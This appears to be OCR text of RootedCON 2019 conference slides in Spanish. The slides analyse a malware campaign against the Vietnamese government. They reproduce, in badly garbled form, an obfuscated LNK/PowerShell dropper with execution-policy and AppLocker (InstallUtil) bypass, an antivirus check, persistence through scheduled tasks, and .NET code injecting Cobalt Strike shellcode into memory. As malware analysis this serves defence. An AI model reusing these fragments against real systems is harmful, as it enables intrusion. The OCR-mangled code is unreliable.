_ td ot | _cvnion: | _ssrst | 1,1%.ps1&for /f "delims==" %i in ('dir "%temp
TECT.zip TECT quy I nam
2019.doc /
W Decoy file

¥ Intalador legitimo .net para

 ' ! AppLocker Bypass
\ Installlitil exe
=h |:I51 decodficada_PS wstript ‘.-

tttttttttttt

L

.net inyecta en memoria cobalt

RootedCON 2019
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Ataque sofisticado al gobierno de Vietham

/A TKCT quy T nam 2019.doc Properties x|

Compatibity | Secwiy | Detals | PreviousVersions |

e et e e | e %comspec® /c f%windir:~4,1%ndstr /b /i "iex" "%cd%\TKCT quy | nam

E‘U TKCT quy | nam 2019.doc

_ 2019.doc.Ink">%temp%\%windir:~-

j ‘ = ‘ 1,1%.ps1|p%ProgramfFiles:~5,1%wer%windir:~-1,1%hell.exe -exec
: = i i bypa%windir:~-1,1%%windir:~-1,1% -file %etemp%\%windir:~-

¥ td = : 1,1%.ps1&for /f "delims==" %:i in ('dir "%temp

. TECT quy I nam
TKCT. zip 2019.doc

Target location:

! Target [Feomspect /e Favfndic=a Vandt b 1 e
Fi

v

Open Fiie Location | Change loan tvanced.. |

COffset (k) 00 01 02 03 04 05 06 07 03 09 QA4 OB OC OD QE OF

00000980 36 00 30 00 31 00 38 00 36 00 36 00 33 00 36 00 6.

| Bk 00000980 2D 00 3% 00 36 00 37 00 36 00 31 00 38 00 34 00 -
0000090 38 00 34 00 35 00 2D 00 31 00 30 00 30 00 30 00 8. .
00000SED 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00  vueeeervenn. o
00000ScO 03 00 00 A0 58 00 00 00 00 00 00 00 77 69 6E 2D ... E.uueu.. win-
000009D0 32 61 39 62 37 38 74 73 30 36 39 00 40 45 15 894 2a9b78ts0659.RE..
O00009ED 40 DO 7h 43 BE 8F EB 2C 3F BC 44 D1 CD OF 19 23 RBDzCx.&, 7wDHI..#

C:\Windows\system32\cmd.exe /C findstring /b / OOO00D9FO 84 40 E9 11 BO 36 00 OC 29 44 83 41 40 45 15 84 SRe.°6..) JFARE..

X 74 43 BE SF EE 2C 3F BC 44 D1 CD OF 19 23 BbzCk%.&, 2aDHI. . #
C:\Users\Admin\Desktop\attachment_tool\TKCT quy | nam 2019.doc.Ink M@é%“ﬂw
— 00000AZ0 0D O4 20 28 5B 54 65 78 74 2E 45 sE &3 %.J {[Text.Enc

powershe”.exe bypass -file C;\Users\Admin\AppData\Loca|\Temp\s_psl DODODA3D  6F 64 63 6E 67 5D 34 34 41 53 43 43 49 2E 47 65 oding] : 1 ASCII.Ge

oooooAd40 74 53 74 T2 69 EE 67V Z8 5B 43 6F GE 76 65 T2 Y4 tStringi[Convert
OO0O0AS0 5D 34 34 46 TrmEDm@IMGSS 34 53 74 72 ]::FromBasef43tr
OooooAed g9 6E 67 28 2 1 4D 4E 43 67 30 ing("DOoiIvMNCgO
QO0O0AYO 4B 4L 47 35 33 54 6E 56 51 63 53 41 39 49 34 41 KJIGSITnvVQoSA9IDL
DOS OFUSCATION DECODIFICADO OO0O0AS0  4E 43 69 52 71 55 55 52 73 54 56 56 6F 49 44 30 MNCiRgUUExXTVWVoIDO
oooooAS0 &7 54 6D 56 33 4C 55 39 69 61 6D 56 6A 64 43 42 gTmV3ILU9iamVjdCE
OO0O0RAO 54 5L 57 4E 31 63 6D AC 30 65 53 35 51 63 6D 6C  TZWMNicmlOe3S50cml
QOO00O0RED 75 59 32 6C 77 59 57V VY 7D 56 32 6C 73 LA 47 35 u¥Z luiWwuli luico
QO0O0ACO 33 63 31 42 72 61 57 35 ok 61 58 42 63 62 23 67 3olBvalSjaXBhboCg
OooooADO &7 57 31 4E 6C 53 33 56 79 61 58 52 35 4C 6C 42 gWIN1TiVyaXR5SL1E
OO0O0ARED 79 &1 57 35 6A 61 55 42 68 62 43 35 58 61 57 35 yalWSjiaXBhbCS5Xaws
OO0O0AFO 6B 62 33 64 7A 53 57 52 &6C 62 6E 52 70 64 48 6C  kb3dzSWR1bnRpdHL

[piminipini=inin} Fd 4T A0 TN 4R ER £ER £? dada 4 BER da 7a R BT 20 ACEA R HTVDONAV. T 7R
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Ataque sofisticado al gobierno de Vietham

x T e
e | o | o .IPWTMT" %comspeck /c f%windir:~4,1%ndstr /b /i "iex" "%cd%\TKCT quy | nam
it TKET quy | nam 2019.doc 2019.dOC.|nk">%temp%\%WIndll’.~-
— . 1,1%.ps1|p%ProgramFiles:~5,1%wer%windir:~-1,1%hell.exe -exec
‘@‘ j A= :“ bypa%windir:~-1,1%%windir:~-1,1% -file %temp%\%windir:~-
- —_ Shartcut ey [Fone [0) n 1 —= o/ 'dip 'O
m ‘ 3 ‘@ = ‘ o L 1,1%.ps1&for /f "delims==" %i in ('dir "%temp

Comment |
Open Fie Location | Change leon, bdvanced.. |

TECT.zip TECT quy I nam
2019.doc

P2 powershell exe 800 44,47 MB  WIN-9GFSKE32360\admin  Windows PowerShell

File:
C:\Windows\System32\ WindowsPowerShelliv1.0\powershell.exe
S = izl Windows PowerShell 10,0.14409,1005
Microsoft Corporation
Notes:
Signer: Microsoft Windows
Console host: conhost.exe (3584)
Process is managed (. NET).

powershell.exe -exec bypass -file C:\Users\Admin\AppDataiLocali Tempis.ps1 I

iex {[Text.Encoding]::ASCITI.Get3tring{ [Convert] ::Frombasegd3tring
oo ] IvyMNCgOEIGES TnVoo S A9 IDANC iRgUUR: TWVWo IDOg TV i L U9 iamV jACETZWN leml0e 3 50cmla¥e 1u¥iwus 1 Y
pIAOEaW YOI GpRREFNVTguIEN I LIvh GToaWiN 1 ¥ VWyadREL 1Evals jaXEhb CSEalskb3deonVph HREIh 1 IwvhGWdo pE

*xEQOFewkNCgkkzg2 0D T4 MY e ID0g I GV ud jpESTUSESVIr Il nkaWI1 E1x0bhEELfcE EXdE pkLmPhAdC IV DORS 21K = 251

E23bhQTF e TeZNO0ETong: SucdiVydF 060k Zvhz 1ICYEN 1IN RTdH I phmco L1RWeVFEQUIEQUF ERTF EQUEwL s hEQUTxn TR E
BAdEFuTkliZ20JUTTEoVkdoo G SOond b TIuY2 1GAdE 1 HTinh ib TV eENCaVp TOn 1l KV eRnYWe 02 1JFOVRIR=F 2 WkdVAdURE
BMZ=s40UFEOWAEQUFEWNTFEQUFEQRFEQUF nQUFEQUVEQUF COUFEQUFEQUFEQUVEQUFEQUFEQUFEQZAEQUFERUFEQUFE
BOUCECQOFEOUFEOUFEOUFEOUFEOUFEOUFEQUFEOUF JOUFBEOEAEOUFEOUFEOUFEOUFEOUFECUFEOUFEQUFEOUFEOUFE secordficadn_P5.nscript
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Ataque sofisticado al gobierno de Vietham

if (§CArzmh -eq 1)
’ |
SwAKuGD = Sfenv:TEMP+™, Bai.doc™:

W Decoy file
[Bvyte[]] fhd code =
/ [System.Convert] : :FromBasetd3tring ("OM3R4KGxGuE]
— NN

P S N N S S S S N S S S S S O A

v

F

; = . " ; i "

| §Installltilve Senv:WINDIR+"  Microsoft . NET, Frawework w2 .0,.50727 Installlcil. exe";
$InstalllUtilvd = fenv:WINDIR+"™\ Microsoft .NET, Frameworkiwd.0.30319% Installltil.exe"™;

InstallUtil.exe
Intalador legitimo .net para
decodificado_PS.wscripk AppLOCker BypaSS

if (§nuwluPg —eqg 1)
{
$336358363
telsed
$336358363

fenv:WINDIR+™, debugh twp pFlwid.dat™;

$env: TEMP+"\ tup_pFiwid.dat"; — .net inyecta en memoria cobalt
H

[Byte[]] §var_code =

[Svatem.Convert] : :FrowmBases4String (" TVoQLAMALARELALA/ / SAL] Bl
DA R B FRT A h A A B R DA DA DR AR AL A A A DAV OO ARAAArrD D0

RootedCON 2019
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Ataque sofisticado al gobierno de Vietham

if ($nwluPq —eq 1)

{
jTempLoader = fenv:WINDIR+", InstallUtil.exe™;
cmd.exe /o copy /vy "iloader™ "§TempLoader”

schtasks foreate /fsc minute fmo 9 /tn "Security Script kh0OO769670" ftr "§Temploader Ju /logfile= /LogToConsole=false $386853363" fru SYSTEM /F
schtasks frun /ftn "Security Script khOO7E9670"

telse

{

{TempLogader = fenv:TEMP+" InstalllUcil.exe™:
cmd.exe fo copy /vy "iloader™ "§TempLoader"”

jcommand =
—— ar
. CreateChject (chr (37) £chr (115) &chr (99) &chr (114) &chr (105) &chr (112) &chr (116) &chr (46) &chr (53) &chr (104) &chr (101) &chr (108) &ohr (105) ) .Bun """§TempLoader™" /flogfile= /u /LogToConsole=false "§356858363"", O
"e
favp = Get-Process -Name avp
$avpui = Get-Process -Name avpui
if ((§avp -ne $null) -or [($svpui -ne jnull))

{
jcommandfile = fenv:TEMP+™\Winez9052.vhs";

[System.I0.File] ::WritekllText ($commandfile, jcommand):
jwscript = fenv:WINDIR+"™, systemiZ'wscript.exe™:

decadificada_PS. wscripk
ftempwscript = §fenv:TEMF+™\ywinwsh.exe":

cod.exe fo copy Sy "dwscript” "itempwscript™
(101110011000

(01101010111010/
\11,1,1010101111F/

schtasks fcreate fsc minute fwo 3 /tn "Security Script kbOOTE9870" /ftr "jtempwscript //Nologo //B Scommandfile™ /F
schtasks frun /tn "Security Script khO0O7s9870"

11101015,

telse{
joommandfile = fenv:TEMP4+™yWin622052Z.cxt™;
[Bystem.I0.File] i :WritedllText (fcommandfile, fconmand):
fwscript = SenviWINDIR+™\ system3zZ'wscript.exe™:
Stempwscript = $env:TEMF+™\ywinwsh.exe";

cmd.exe /o copy Sy "Swscript" "ftempwscript™

zchtasks fcreate /8¢ minute Jwo 3 /tn "Security Script KbOOTE9E670" ftr "Stempwscript //Nologo S/E:vhscript /B Scomwandfile™ /F
schtasks frun /Jtn "Security Script kKhOO7e26707
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Ataque sofisticado al gobierno de Vietham

]| el = Bai.doc [Compatibility Mode] - Microsoft Word (Unficensed Produd
— G e el oo
-l <A 4 - === me = i =
= % = EaSita ot a = AaBb( AaBbC
u T S

This document created in earlier version of
Microsoft Office Word

bl doc To view this content, please click "Enable editing™ at the top
yellow bar, and then click "Enable content™

RootedCON 2019
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Ataque sofisticado al gobierno de Vietham

@ . ! Instalador legitimo .net para AppLocker
Bypass que carga el binario compilado .NET

Installltil. exe

772 149MB WIN-9GFSKE32360\Admin  .NET Framework installation utility

"C:\Users\AdminiAppDataiLocali TemplInstallUtil.exe” flogfile @ ogToConsole=false "C:\UsersiAdmi et
n T winwoln\AppDataiLocal\ Temp\tmp_pFiwwid.dat"
File:

rUsers\Admin\AppDataiLocall 1 empinstalluol, exe

NET Framework installation utility 2.0.50727.5420

Microsoft Corporation
|Notes:

Signer: Microsoft Windows
Console host: conhost.exe (812)
Process is managed (.NET).
Process is 32-bit (WOW64).

RootedCON 2019
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Ataque sofisticado al gobierno de Vietham

hissembly Explorer w» X Exec(): void
mscorlib (4.0.0.0) te e = . ;
System (4.0.0.0; F 5 g
oy R .NET invecta en memoria cobalt
System,Xml (4.
System.Xaml (4.0.0.0)
SWinds ase (4.0.0.0)
PresentationCore (4.0.0.0)
PresentationFramework (4.0.0.0)

References

WindowByDothet
4 & @02000004
D Ml Base Type and Interfaces
D Ml Derived Types
or() :

tmp_pF:

U U T T I I I T T T I TSI CT 1 I T I T TSI ST TSI ST S LNPUL T I L P AU LU DaUUg UCUWEULOVUUTYD L0LDA | BANTL/ LW/ \IWI YELEV/ W

array = . ase64 ing(s);
g str =
hModule = GoCode iLibra dll");
procAddress t (hModule, str + "
e Qriwy) - Deleg (procAddress,
tring str2
procAddress s(hModule, str2 + "
CreateThread tcreateThread = (GoCo e
int num = tjQriwU(@u, (uint)array. » .MEM_COMMI
(array, o, ( )((long) ((ulong)num)), array.
hHandle = .Zero;
num2 = Qu;
zero = .Zero;
hHandle = tcreateThread(@u, @u, num, zero, @u, ref num2);
G aitFors (hHandle, xValue);

System.Deployment (2.0.0.0)

RootedCON 2019
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Ataque sofisticado al gobierno de Vietham

.NET inyecta en memoria cobalt

array

str W

hMadule [ .

procAddr (hModule, str

Ey =L

{procAddress, {GoCode.THOrLwl) ) ;

ﬂpPDCﬂddPPﬂa

=35

ateTh

COMMIT, Go ode . P

b = o & o N oo N _— iy
: L ¥ By | (L YU ynum) ), array.
tmp_pFiwid.dat

ZEero =

tcreateThread(®u, @u, num, zero, Bu, numz2 ) ;
(hHandle,

RootedCON 2019
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Ataque sofisticado al ¢ oblerno de Vietham

.NET inyecta en
memoria cobalt [FIInIn'ﬂ__H' “ue)

. ‘ public override wvoid Uninstall({IDicticnary savedState)

tmp_pFWwid, dat

RootedCON 2019
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Ataque sofisticado al gobierno de Vietham

C F¥ 66 49294 + 443 [5YN] Seq=@ Win=8 Len=a M5 5=4 SACK PERM=1

7B 6@ 443 » 49294 [5¥N, ACK] Zeq=@ Ack=1 Win=64248 Len=@ M55=1460
e 54 49254 + 443 [ACK] Seq=1 Ack=1 Win=A424@ Len=@
5@ 158 Client Helle
&1 68 443 -+ 49284 [ACK] Seq=1 Ack=1@5 Win=5424@ Len=0
82 1M3 Serwer Hello, Certificate, Server Hello Done
&3 382 Client Key Exchange, Change Cipher spec, Encrypted Handshake Message
84 68 443 + 49294 [ACK] Seq=990 Ack=431 Win=54242 Len=@
85 6@ Change Cipher Spec

I 87 58 [TCP Retransmissi 445 : P5H, ACK] Seq fck=431 Win=£4248 Len=5&
88 54 49294 + 443 [ACK] Seq=431 Ack=996 Win=53245 Len=@
3] 187 Encrypted Handshake Message
90 251 Application Data
<1 68 443 + 49254 [ACK] Seq=1e42 Ack=628 Win=£4248 Len=@2
92 1514 Application Data, Application Data
EE] 215 443 + 49294 [P5H, ACK] Seq=25@9 Ack=528 Win=5424@ Len=161 [TCP segment of a reassembled POU]
a3 54 49234 + 4453 [ACK] Seq=628 Ack=26720 Win=£424@ Len=@
95 1514 Application Data, Application Data
=l 1514 Application Data [TCP segment of a reassembled PDU]
97 1214 Application Data [TCP segment of a reassembled PDU]
98 1414 Application Data, Application Data
39 1414 443 » 49294 [PSH, ACK] 5eq=311@ Ack=62% Win=5424Q Len=136@ [TCP segment of a reassembled POU]
1@ 54 42234 + 443 [ACK] Seq=628 Ack=2472 Win=564248 Len=@
11 1514 Application Data, Application Data
1a2 1514 Application Data, Application Data
1a3 1214 443 -+ 49294 [PS = - = = =
104 54 49294 » 443 [ac| Address | Length | Result
1a5 1514 Application Dat ,
1@6 1314 ppplication Dat 0x2d4f90 52 hiktps:f
187 1514 443 » 42234 [ac| Ox2dS0d0 g2 htkps:/ BA L
108 1314 Application Dat
i 54 aoboa + aas [ac] Dx2d3163 52 https:/ _ I
i 1514 Application Dat{ fyzd5ofQ g1 hittps:) b _sb noss 1/ ield-keywords=books
111 1514 443 + 49294 [AC - i
112 1514 Application Dat{ Dx34bdd0 a1 hkkps:f b_sh_noss_1f ield-kewwords=honks
a3 1514 Application Dat{ p.s40055 a1 https:/ b sb noss 1) ield-keywords=books
114 1514 443 + 49224 [AC - - -
115 914 Application Data, Application Data
116 54 49294 + 443 [ACK] Seq=628 Ack=2715@ Win=62462 Len=@
117 1514 443 -+ 49294 [ACK] Seq=2715@ Ack=£28 Win=6424@ Len=1462 [TCP segment of a reassembled PDU]

118 1314 Application Data, Application Data
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Analisis .gov

e EL EMAIL ES UNO DE LOS PRINCIPALES VECTORES DE ENTRADA A UNA ORGANIZACION, LOS CONTROLES
PREVIOS NO SON SUFICIENTEMENTE EFECTIVOS.

* EXISTEN MUCHOS CORREOS ACCESIBLES EN FUENTE ABIERTA ACCESIBLES PARA CUALQUIERA, ESTO
PERMITEACCEDER A INFORMACION SENSIBLE DE UNA ORGANIZACION Y REALIZAR PERFILADO DE LA MISMA.

* LA VARIEDAD DE MALWARE ENCONTRADO ES AMPLIA, CON MUCHA PRESENCIA DE EMOTET

 LAS TECNICAS MAS INTERESANTES ENCONTRADAS PARA EVITAR LA DETECCION POR AV, SANDBOX O ML
SON:

* ADJUNTOS COMPRIMIDOS CON UNA PASSWORD PRESENTE EN EL PROPIO EMAIL
* FILESS MEDIANTE POWERSHELL

* DOS-FUSCATION

 EXPLOITS EN DOCUMENTOS OFIMATICOS Y PDF

* APPLOCKER BYPASS

« LOS ATACANTES DEDICAN MAS ESFUERZO AL DESPLIEGUE DEL MALWARE PARA NO SER DETECTADOS QUE
AL DESARROLLO DE NUEVAS PIEZAS DE MALWARE’
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